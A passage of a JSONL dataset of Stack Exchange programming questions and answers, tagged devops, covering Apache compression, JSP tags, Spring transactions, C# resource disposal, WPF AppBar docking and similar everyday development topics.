groups:\nhttp://www.cs.cmu.edu/~help/afs/afs_groups.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.345094"}
{"id": "hf_e181c614bcca", "question": "<p>I am serving all content through apache with <code>Content-Encoding: zip</code> but that compresses on the fly.  A good amount of my content is static files on the disk.  I want to gzip the files beforehand rather than compressing them every time they are requested.</p>\n\n<p>This is something that, I believe, <code>mod_gzip</code> did in Apache 1.x automatically, but just having the file with .gz next to it.  That's no longer the case with <code>mod_deflate</code>.</p>\n", "question_body": "", "answer": "This functionality was misplaced in mod_gzip anyway. In Apache 2.x,\nyou do that with content negotiation\n. Specifically, you need to enable\n```\nMultiViews\n```\nwith the\n```\nOptions\n```\ndirective\nand you need to specify your encoding types with the\n```\nAddEncoding\n```\ndirective\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.381713"}
{"id": "hf_03b02005667c", "question": "<p>I am pulling a long timestamp from a database, but want to present it as a Date using Tags only, no embedded java in the JSP.<br><br> I've created my own tag to do this because I was unable to get the parseDate and formatDate tags to work, but that's not to say they don't work.<br>\n<br>\nAny advice?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "The parseDate and formatDate tags work, but they work with Date objects.\nYou can call new java.util.Date(longvalue) to get a date object, then pass that to the standard tag.\nsomewhere other than the jsp create your date object.\n```\n```\nlong longvalue = ...;//from database.\njava.util.Date dateValue = new java.util.Date(longvalue);\nrequest.setAttribute(\"dateValue\", dateValue);\n```\n```\nput it on the request and then you can access it in your tag like this.\n```\n```\n<fmt:formatDate value=\"${dateValue}\" pattern=\"MM/dd/yyyy HH:mm\"/>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.418334"}
{"id": "hf_3ac605af3c98", "question": "<p>I'm trying to have the same KDE Konsole experience within Mac OS X.</p>\n\n<p>Here's my (overly complicated?) setup:</p>\n\n<ul>\n<li>I have Control and Command swapped at the System Preferences level.  (Can't live without this)</li>\n<li>Parallels lets you, at the Parallels application level, also reverse Control and Command.  So I can undo the System Preferences setting (and get the setup I want within virtual Linux)</li>\n</ul>\n\n<p>I want this same per-application-opt-out for the Mac OS X Terminal app.  Is it possible?</p>\n", "question_body": "", "answer": "You can\nsimply ssh into the Linux/Unix system\nand run X11 programs direct to your Mac screen:\n```\nssh -X user@host_or_ipaddress\n```\n, login, and just run the X11 programs you want (e.g.\n```\nemacs&\n```\n) and the X11 apps will appear on the Mac display.\nPros:\nX11 windows work just like any other window, including Exposé goodness, etc...\nNo need to work only inside the Parallels console window\nSame solution works with any Linux/Unix system, remote or virtual\nssh connection is secure even over the internet\nTech info:\n\"ssh -X\" turns on X11 forwarding for the ssh connection, i.e. the X11 display connection is tunneled through ssh securely\n\"ssh -X\" also handles X11 authentication tunneling\n```\nX11.app\n```\nis automagically started on OSX by\n```\nlaunchd\n```\nwhen needed\nX11 can connect to displays over the network, which is one of the few cool things about it ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.492005"}
{"id": "hf_2ef77a0e73f8", "question": "<p>I have a JSP page that contains a scriplet where I instantiate an object.  I would like to pass that object to the JSP tag without using any cache.  </p>\n\n<p>For example I would like to accomplish this: </p>\n\n<pre><code>&lt;%@ taglib prefix=\"wf\" uri=\"JspCustomTag\" %&gt;\n\n&lt;% \n Object myObject = new Object();\n%&gt;\n\n&lt;wf:my-tag obj=myObject /&gt;\n</code></pre>\n\n<p>I'm trying to avoid directly interacting with any of the caches (page, session, servletcontext), I would rather have my tag handle that.</p>\n", "question_body": "", "answer": "Use expression language:\n```\n<wf:my-tag obj=\"${myObject}\" />\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.577418"}
{"id": "hf_7b871454f526", "question": "<p>or \"How do I answer questions on SO in Firefox using gVim inside the textboxes?\"</p>\n", "question_body": "", "answer": "One way to do this is to use the\nvimperator\nextension - of course, that does a\nlot\nmore than what you're looking for.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.617982"}
{"id": "hf_93842192a424", "question": "<p>I have one applicationContext.xml file, and it has two org.springframework.orm.jpa.JpaTransactionManager (each with its own persistence unit, different databases) configured in a Spring middleware custom application.\n<br><br>I want to use annotation based transactions (@Transactional), to not mess around with TransactionStatus commit, save, and rollback.<br><br>\nA coworker mentioned that something gets confused doing this when there are multiple transaction managers, even though the context file is set configured correctly (the references go to the correct persistence unit.\nAnyone ever see an issue?</p>\n\n<hr>\n\n<p>In your config, would you have two transaction managers?\nWould you have txManager1 and txManager2?<br><br>\nThat's what I have with JPA, two different Spring beans that are transaction managers.</p>\n", "question_body": "", "answer": "I guess you have 2 choices\nIf your use-cases never require updates to both databases within the same transaction, then you can use two JpaTransactionManagers, but I'm not sure you will be able to use the @Transactional approach? In this case, you would need to fallback on the older mechanism of using a simple\nTransactionProxyFactoryBean\nto define transaction boundaries, eg:\n```\n```\n<bean id=\"firstRealService\" class=\"com.acme.FirstServiceImpl\"/>\n<bean id=\"firstService\"  \n    class=\"org.springframework.transaction.interceptor.TransactionProxyFactoryBean\">\n    <property name=\"transactionManager\" ref=\"firstJpaTm\"/>\n    <property name=\"target\" ref=\"firstRealService\"/>\n    <property name=\"transactionAttributes\">\n        <props>\n           <prop key=\"insert*\">PROPAGATION_REQUIRED</prop>\n           <prop key=\"update*\">PROPAGATION_REQUIRED</prop>\n           <prop key=\"*\">PROPAGATION_REQUIRED,readOnly</prop>\n        </props>\n    </property>\n</bean>\n<!-- similar for your second service -->\n```\n```\nIf you are require a transaction spanning both databases, then you will need to use a JTA transaction manager. The\nAPI\nstates:\nThis transaction manager is appropriate for applications that use a single JPA EntityManagerFactory for transactional data access. JTA (usually through JtaTransactionManager) is necessary for accessing multiple transactional resources within the same transaction. Note that you need to configure your JPA provider accordingly in order to make it participate in JTA transactions.\nWhat this means is that you will need to provide a JTA transaction manager. In our application, we use config similar to the following:\n```\n```\n<tx:annotation-driven transaction-manager=\"txManager\"/>\n\n<bean id=\"txManager\" \n    class=\"org.springframework.transaction.jta.JtaTransactionManager\">\n    <property name=\"transactionManagerName\" value=\"appserver/jndi/path\" />\n</bean>\n```\n```\nIf you are deploying within an appserver, then the spring JtaTransactionManager needs to do a lookup to the real XA-compliant JTA transaction manager provided by the appserver. However, you can also use a standalone JTA transaction manager (but I haven't tried this myself yet)\nAs for configuring the Jpa persistence provider, I'm not that familiar. What JPA persistence provider are you using?\nThe code above is based on our approach, where we were using native Hibernate as opposed to Hibernate's JPA implementation. In this case, we were able to get rid of the two HibernateTransactionManager beans, and simply ensure that both SessionFactories were injected with the same JTA TM, and then use the tx:annotation-driven element.\nHope this helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.680232"}
{"id": "hf_aed0b0cb16aa", "question": "<p>Let's say I write a DLL in C++, and declare a global object of a class with a non-trivial destructor.  Will the destructor be called when the DLL is unloaded?</p>\n", "question_body": "", "answer": "It should be called when either the application ends or the DLL is unloaded, whichever comes first.  Note that this is somewhat dependent on the actual runtime you're compiling against.\nAlso, beware non-trivial destructors as there are both timing and ordering issues. Your DLL may be unloaded\nafter\na DLL your destructor relies on, which would obviously cause issues.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.705907"}
{"id": "hf_2fceb2406d8a", "question": "<p>I have searched for various techniques on how to read/write dBase III (dbf) files using OLEDB or ODBC with C#/.NET.  I have tried almost all of the tecniques posted, but without success.  Can someone point me in the right direction?</p>\n\n<p>Thanks for your time.</p>\n", "question_body": "", "answer": "FoxPro 2.0 files were exactly the same as dBase III files with an extra bit for any field that was of type \"memo\" (not sure the exact name, it's been a while). That means that if you just use a\nFoxPro 2.x method\nfor accessing the files, it should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.743738"}
{"id": "hf_49387bc5c471", "question": "<p>In C#, if I want to deterministically clean up non-managed resources, I can use the \"using\" keyword.  But for multiple dependent objects, this ends up nesting further and further:</p>\n\n<pre><code>using (FileStream fs = new FileStream(\"c:\\file.txt\", FileMode.Open))\n{\n    using (BufferedStream bs = new BufferedStream(fs))\n    {\n        using (StreamReader sr = new StreamReader(bs))\n        {\n            // use sr, and have everything cleaned up when done.\n        }\n    }\n}\n</code></pre>\n\n<p>In C++, I'm used to being able to use destructors to do it like this:</p>\n\n<pre><code>{    \n    FileStream fs(\"c:\\file.txt\", FileMode.Open);\n    BufferedStream bs(fs);\n    StreamReader sr(bs);\n    // use sr, and have everything cleaned up when done.\n}\n</code></pre>\n\n<p>Is there a better way in C# to do this?  Or am I stuck with the multiple levels of nesting?</p>\n", "question_body": "", "answer": "The using statement is syntactic sugar that converts to:\n```\n```\ntry\n   {\n      obj declaration\n      ...\n   }\n   finally\n   {\n      obj.Dispose();\n   }\n```\n```\nYou can explicitly call Dispose on your objects, but it won't be as safe, since if one of them throws an exception, the resources won't be freed properly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.805561"}
{"id": "hf_3fd08ecf4791", "question": "<p>I've seen numerous people mentions that you shouldn't use widths and padding or margins on the same element with CSS. Why is that?</p>\n", "question_body": "", "answer": "Because some browsers treat the width as the total width of the element including the padding and the margins, and others treat the width as the base width to which the padding and margins are added.  As a result your design will look different in different browsers.\nFor more information, see the\nW3C page on Box Model\nand\nquirksmode's take\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.829664"}
{"id": "hf_625fdf60e870", "question": "<p>What's the best way to implement the enum idiom in Ruby? I'm looking for something which I can use (almost) like the Java/C# enums.</p>\n", "question_body": "", "answer": "Most people use symbols (that's the\n```\n:foo_bar\n```\nsyntax). They're sort of unique opaque values. Symbols don't belong to any enum-style type so they're not really a faithful representation of C's enum type but this is pretty much as good as it gets.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.889622"}
{"id": "hf_abb4e050f29b", "question": "<p>1.exe doesn't give enough time for me to launch the IDE and attach 1.exe to the debugger to break into.</p>\n", "question_body": "", "answer": "I assume you have the source to 1.exe (if you're debugging it), then just insert a statement near the beginning that will cause it to hang around long enough to attach a debugger.  ( getch() if you're desperate and it's not interactive. )\nAfter the attach, just skip to the next statement and let it go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.912407"}
{"id": "hf_97d055474658", "question": "<p>I assumed that the C# margin property had a meaning like in CSS - the spacing around the outside of the control. But Margin values seem to be ignored to matter what values I enter.</p>\n\n<p>Then I read on the SDK: </p>\n\n<blockquote>\n  <p>Setting the Margin property on a\n  docked control has no effect on the\n  distance of the control from the the\n  edges of its container.</p>\n</blockquote>\n\n<p>Given that I'm placing controls on forms, and perhaps docking them, what does the Margin property get me?</p>\n", "question_body": "", "answer": "The margin property is used by whatever layout engine your control host (Panel, for example) is using, in whatever way that layout engine sees fit.   However, it is best used for spacing just as you assume.   Just read the documentation for that specific layout engine.\nIt can be very handy when using a FlowLayoutPanel or TableLayoutPanel, for example - to either reduce the default padding or space things out a bit.   Obviously, if you write a  custom layout provider, you can use Margin however you see fit.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.935593"}
{"id": "hf_713876c34380", "question": "<p>Is there any complete guidance on doing AppBar docking (such as locking to the screen edge) in WPF? I understand there are InterOp calls that need to be made, but I'm looking for either a proof of concept based on a simple WPF form, or a componentized version that can be consumed.</p>\n\n<p>Related resources:</p>\n\n<ul>\n<li><a href=\"http://www.codeproject.com/KB/dotnet/AppBar.aspx\" rel=\"noreferrer\">http://www.codeproject.com/KB/dotnet/AppBar.aspx</a></li>\n<li><a href=\"http://social.msdn.microsoft.com/Forums/en-US/wpf/thread/05c73c9c-e85d-4ecd-b9b6-4c714a65e72b/\" rel=\"noreferrer\">http://social.msdn.microsoft.com/Forums/en-US/wpf/thread/05c73c9c-e85d-4ecd-b9b6-4c714a65e72b/</a></li>\n</ul>\n", "question_body": "", "answer": "Please Note:\nThis question gathered a good amount of feedback, and some people below have made great points or fixes.  Therefore, while I'll keep the code here (and possibly update it), I've also\ncreated a\nWpfAppBar project on github\n.  Feel free to send pull requests.\nThat same project also builds to a\nWpfAppBar nuget package\nI took the code from the first link provided in the question (\nhttp://www.codeproject.com/KB/dotnet/AppBar.aspx\n) and modified it to do two things:\nWork with WPF\nBe \"standalone\" - if you put this single file in your project, you can call AppBarFunctions.SetAppBar(...) without any further modification to the window.\nThis approach doesn't create a base class.\nTo use, just call this code from anywhere within a normal wpf window (say a button click or the initialize).   Note that you can not call this until AFTER the window is initialized, if the HWND hasn't been created yet (like in the constructor), an error will occur.\nMake the window an appbar:\n```\n```\nAppBarFunctions.SetAppBar( this, ABEdge.Right );\n```\n```\nRestore the window to a normal window:\n```\n```\nAppBarFunctions.SetAppBar( this, ABEdge.None );\n```\n```\nHere's the full code to the file -\nnote\nyou'll want to change the namespace on line 7 to something apropriate.\n```\n```\nusing System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Windows;\nusing System.Windows.Interop;\nusing System.Windows.Threading;\n\nnamespace AppBarApplication\n{    \n    public enum ABEdge : int\n    {\n        Left = 0,\n        Top,\n        Right,\n        Bottom,\n        None\n    }\n\n    internal static class AppBarFunctions\n    {\n        [StructLayout(LayoutKind.Sequential)]\n        private struct RECT\n        {\n            public int left;\n            public int top;\n            public int right;\n            public int bottom;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        private struct APPBARDATA\n        {\n            public int cbSize;\n            public IntPtr hWnd;\n            public int uCallbackMessage;\n            public int uEdge;\n            public RECT rc;\n            public IntPtr lParam;\n        }\n\n        private enum ABMsg : int\n        {\n            ABM_NEW = 0,\n            ABM_REMOVE,\n            ABM_QUERYPOS,\n            ABM_SETPOS,\n            ABM_GETSTATE,\n            ABM_GETTASKBARPOS,\n            ABM_ACTIVATE,\n            ABM_GETAUTOHIDEBAR,\n            ABM_SETAUTOHIDEBAR,\n            ABM_WINDOWPOSCHANGED,\n            ABM_SETSTATE\n        }\n        private enum ABNotify : int\n        {\n            ABN_STATECHANGE = 0,\n            ABN_POSCHANGED,\n            ABN_FULLSCREENAPP,\n            ABN_WINDOWARRANGE\n        }\n\n        [DllImport(\"SHELL32\", CallingConvention = CallingConvention.StdCall)]\n        private static extern uint SHAppBarMessage(int dwMessage, ref APPBARDATA pData);\n\n        [DllImport(\"User32.dll\", CharSet = CharSet.Auto)]\n        private static extern int RegisterWindowMessage(string msg);\n\n        private class RegisterInfo\n        {\n            public int CallbackId { get; set; }\n            public bool IsRegistered { get; set; }\n            public Window Window { get; set; }\n            public ABEdge Edge { get; set; }\n            public WindowStyle OriginalStyle { get; set; }            \n            public Point OriginalPosition { get; set; }\n            public Size OriginalSize { get; set; }\n            public ResizeMode OriginalResizeMode { get; set; }\n\n            public IntPtr WndProc(IntPtr hwnd, int msg, IntPtr wParam, \n                                    IntPtr lParam, ref bool handled)\n            {\n                if (msg == CallbackId)\n                {\n                    if (wParam.ToInt32() == (int)ABNotify.ABN_POSCHANGED)\n                    {\n                        ABSetPos(Edge, Window);\n                        handled = true;\n                    }\n                }\n                return IntPtr.Zero;\n            }\n\n        }\n        private static Dictionary<Window, RegisterInfo> s_RegisteredWindowInfo \n            = new Dictionary<Window, RegisterInfo>();\n        private static RegisterInfo GetRegisterInfo(Window appbarWindow)\n        {\n            RegisterInfo reg;\n            if( s_RegisteredWindowInfo.ContainsKey(appbarWindow))\n            {\n                reg = s_RegisteredWindowInfo[appbarWindow];\n            }\n            else\n            {\n                reg = new RegisterInfo()\n                    {\n                        CallbackId = 0,\n                        Window = appbarWindow,\n                        IsRegistered = false,\n                        Edge = ABEdge.Top,\n                        OriginalStyle = appbarWindow.WindowStyle,                        \n                        OriginalPosition =new Point( appbarWindow.Left, appbarWindow.Top),\n                        OriginalSize = \n                            new Size( appbarWindow.ActualWidth, appbarWindow.ActualHeight),\n                        OriginalResizeMode = appbarWindow.ResizeMode,\n                    };\n                s_RegisteredWindowInfo.Add(appbarWindow, reg);\n            }\n            return reg;\n        }\n\n        private static void RestoreWindow(Window appbarWindow)\n        {\n            RegisterInfo info = GetRegisterInfo(appbarWindow);\n\n            appbarWindow.WindowStyle = info.OriginalStyle;            \n            appbarWindow.ResizeMode = info.OriginalResizeMode;\n            appbarWindow.Topmost = false;\n\n            Rect rect = new Rect(info.OriginalPosition.X, info.OriginalPosition.Y, \n                info.OriginalSize.Width, info.OriginalSize.Height);\n            appbarWindow.Dispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle,\n                    new ResizeDelegate(DoResize), appbarWindow, rect);\n\n        }\n\n        public static void SetAppBar(Window appbarWindow, ABEdge edge)\n        {\n            RegisterInfo info = GetRegisterInfo(appbarWindow);\n            info.Edge = edge;\n\n            APPBARDATA abd = new APPBARDATA();\n            abd.cbSize = Marshal.SizeOf(abd);\n            abd.hWnd = new WindowInteropHelper(appbarWindow).Handle;\n\n            if( edge == ABEdge.None)\n            {\n                if( info.IsRegistered)\n                {\n                    SHAppBarMessage((int)ABMsg.ABM_REMOVE, ref abd);\n                    info.IsRegistered = false;\n                }\n                RestoreWindow(appbarWindow);\n                return;\n            }\n\n            if (!info.IsRegistered)\n            {\n                info.IsRegistered = true; \n                info.CallbackId = RegisterWindowMessage(\"AppBarMessage\");\n                abd.uCallbackMessage = info.CallbackId;\n\n                uint ret = SHAppBarMessage((int)ABMsg.ABM_NEW, ref abd);\n\n                HwndSource source = HwndSource.FromHwnd(abd.hWnd);\n                source.AddHook(new HwndSourceHook(info.WndProc));\n            }\n\n            appbarWindow.WindowStyle = WindowStyle.None;            \n            appbarWindow.ResizeMode = ResizeMode.NoResize;\n            appbarWindow.Topmost = true;\n\n            ABSetPos(info.Edge, appbarWindow);                \n        }\n\n        private delegate void ResizeDelegate(Window appbarWindow, Rect rect);\n        private static void DoResize(Window appbarWindow, Rect rect)\n        {\n            appbarWindow.Width = rect.Width;\n            appbarWindow.Height = rect.Height;\n            appbarWindow.Top = rect.Top;\n            appbarWindow.Left = rect.Left;\n        }\n\n        private static void ABSetPos(ABEdge edge, Window appbarWindow)\n        {\n            APPBARDATA barData = new APPBARDATA();\n            barData.cbSize = Marshal.SizeOf(barData);\n            barData.hWnd = new WindowInteropHelper(appbarWindow).Handle;\n            barData.uEdge = (int)edge;\n\n            if (barData.uEdge == (int)ABEdge.Left || barData.uEdge == (int)ABEdge.Right)\n            {\n                barData.rc.top = 0;\n                barData.rc.bottom = (int)SystemParameters.PrimaryScreenHeight;\n                if (barData.uEdge == (int)ABEdge.Left)\n                {\n                    barData.rc.left = 0;\n                    barData.rc.right = (int)Math.Round(appbarWindow.ActualWidth);\n                }\n                else\n                {\n                    barData.rc.right = (int)SystemParameters.PrimaryScreenWidth;\n                    barData.rc.left = barData.rc.right - (int)Math.Round(appbarWindow.ActualWidth);\n                }\n            }\n            else\n            {\n                barData.rc.left = 0;\n                barData.rc.right = (int)SystemParameters.PrimaryScreenWidth;\n                if (barData.uEdge == (int)ABEdge.Top)\n                {\n                    barData.rc.top = 0;\n                    barData.rc.bottom = (int)Math.Round(appbarWindow.ActualHeight);\n                }\n                else\n                {\n                    barData.rc.bottom = (int)SystemParameters.PrimaryScreenHeight;\n                    barData.rc.top = barData.rc.bottom - (int)Math.Round(appbarWindow.ActualHeight);\n                }\n            }\n\n            SHAppBarMessage((int)ABMsg.ABM_QUERYPOS, ref barData);\n            SHAppBarMessage((int)ABMsg.ABM_SETPOS, ref barData);\n\n            Rect rect = new Rect((double)barData.rc.left, (double)barData.rc.top, \n                (double)(barData.rc.right - barData.rc.left), (double)(barData.rc.bottom - barData.rc.top));\n            //This is done async, because WPF will send a resize after a new appbar is added.  \n            //if we size right away, WPFs resize comes last and overrides us.\n            appbarWindow.Dispatcher.BeginInvoke(DispatcherPriority.ApplicationIdle, \n                new ResizeDelegate(DoResize), appbarWindow, rect);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:38.963224"}
{"id": "hf_27ff5a732759", "question": "<p>I'm wondering if there's such a thing as Django-like ease of web app development combined with good deployment, debugging and other tools? </p>\n\n<p>Django is a very productive framework for building content-heavy sites; the best I've tried and a breath of fresh air compared to some of the Java monstrosities out there. However it's written in Python which means there's little real support in the way of deployment/packaging, debugging, profilers and other tools that make building and maintaining applications much easier. </p>\n\n<p>Ruby has similar issues and although I do like Ruby <strong>much</strong> better than I like Python, I get the impression that Rails is roughly in the same boat at Django when it comes to managing/supporting the app. </p>\n\n<p>Has anyone here tried both Django and Grails (or other web frameworks) for non-trivial projects? How did they compare?</p>\n", "question_body": "", "answer": "cakephp.org\nCakephp is really good, really close to ruby on rails (1.2).  It is in php, works very well on shared hosts and is easy to implement.\nThe only downside is that the documentation is somewhat lacking, but you quickly get it and quickly start doing cool stuff.\nI totally recommend cakephp.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.002448"}
{"id": "hf_28633980f337", "question": "<p>All the docs for SQLAlchemy give <code>INSERT</code> and <code>UPDATE</code> examples using the local table instance (e.g. <code>tablename.update()</code>... )</p>\n\n<p>Doing this seems difficult with the declarative syntax, I need to reference <code>Base.metadata.tables[\"tablename\"]</code> to get the table reference.</p>\n\n<p>Am I supposed to do this another way?   Is there a different syntax for <code>INSERT</code> and <code>UPDATE</code> recommended when using the declarative syntax?  Should I just switch to the old way?</p>\n", "question_body": "", "answer": "via the\n```\n__table__\n```\nattribute on your declarative class", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.064138"}
{"id": "hf_78d497e75cc9", "question": "<p>I'm trying to insert a <a href=\"http://en.wikipedia.org/wiki/Spry_framework\" rel=\"nofollow noreferrer\">Spry</a> <a href=\"http://en.wikipedia.org/wiki/Accordion_(GUI)\" rel=\"nofollow noreferrer\">accordion</a> into an already existing <a href=\"http://en.wikipedia.org/wiki/JavaServer_Faces\" rel=\"nofollow noreferrer\">JSF</a> page using <a href=\"http://en.wikipedia.org/wiki/Adobe_Dreamweaver\" rel=\"nofollow noreferrer\">Dreamweaver</a>. Is this possible?  </p>\n\n<p>I've already tried several things, and only the labels show up.</p>\n", "question_body": "", "answer": "I'm not a Dreamweaver expert, but all Spry Accordian requires is the correct HTML structure. E.g.:\n```\n```\n<div id=\"Accordion1\" class=\"Accordion\">\n            <div class=\"AccordionPanel\">\n                <div class=\"AccordionPanelTab\">Panel 1</div>\n                <div class=\"AccordionPanelContent\">\n                    Panel 1 Content<br/>\n                    Panel 1 Content<br/>\n                    Panel 1 Content<br/>\n                </div>\n            </div>\n    </div>\n```\n```\nProvided you have the\nJavaScript\nlibrary loaded correctly, that should pretty much be all you need to do.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.088086"}
{"id": "hf_0af577376b41", "question": "<p>As a part of database maintenance we are thinking of taking daily backups onto an external/firewire drives. Are there any specific recommended drives for the frequent read/write operations from sql server 2000 to take backups?</p>\n", "question_body": "", "answer": "Whatever you do, just don't use USB 1.1.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.147343"}
{"id": "hf_e78ba2b6623a", "question": "<p>This may be a no-brainer for the WPF cognoscenti, but I'd like to know if there's a simple way to put text on the WPF ProgressBar. To me, an empty progress bar looks naked. That's screen real estate that could carry a message about <strong>what</strong> is in progress, or even just add numbers to the representation. Now, WPF is all about containers and extensions and I'm slowly wrapping my mind around that, but since I don't see a \"Text\" or \"Content\" property, I'm thinking I'm going to have to add something to the container that is my progress bar. Is there a technique or two out there that is more natural than my original WinForms impulses will be? What's the best, most WPF-natural way to add text to that progress bar?</p>\n", "question_body": "", "answer": "If you are needing to have a reusable method for adding text, you can create a new Style/ControlTemplate that has an additional TextBlock to display the text.  You can hijack the TextSearch.Text attached property to set the text on a progress bar.\nIf it doesn't need to be reusable, simply put the progress bar in a Grid and add a TextBlock to the grid.  Since WPF can compose elements together, this will work nicely.\nIf you want, you can create a UserControl that exposes the ProgressBar and TextBlock as public properties, so it would be less work than creating a custom ControlTemplate.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.170290"}
{"id": "hf_4c2badc6f66e", "question": "<p>I'm working on a web page where I'm making an AJAX call that returns a chunk of HTML like: </p>\n\n<pre><code>&lt;div&gt;\n  &lt;!-- some html --&gt;\n  &lt;script type=\"text/javascript\"&gt;\n    /** some javascript */\n  &lt;/script&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>I'm inserting the whole thing into the DOM, but the JavaScript isn't being run.  Is there a way to run it?  </p>\n\n<p>Some details: I can't control what's in the script block (so I can't change it to a function that could be called), I just need the whole block to be executed.  I can't call eval on the response because the JavaScript is within a larger block of HTML.  I could do some kind of regex to separate out the JavaScript and then call eval on it, but that's pretty yucky.  Anyone know a better way?</p>\n", "question_body": "", "answer": "You don't have to use regex if you are using the response to fill a div or something. You can use getElementsByTagName.\n```\n```\ndiv.innerHTML = response;\nvar scripts = div.getElementsByTagName('script');\nfor (var ix = 0; ix < scripts.length; ix++) {\n    eval(scripts[ix].text);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.216761"}
{"id": "hf_b0f02a3f7d2e", "question": "<p>In a .NET Win console application, I would like to access an App.config file in a location different from the console application binary. For example, how can C:\\bin\\Text.exe get its settings from C:\\Test.exe.config?</p>\n", "question_body": "", "answer": "Use the following (remember to include System.Configuration assembly)\n```\n```\nConfigurationManager.OpenExeConfiguration(exePath)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:39.277289"}
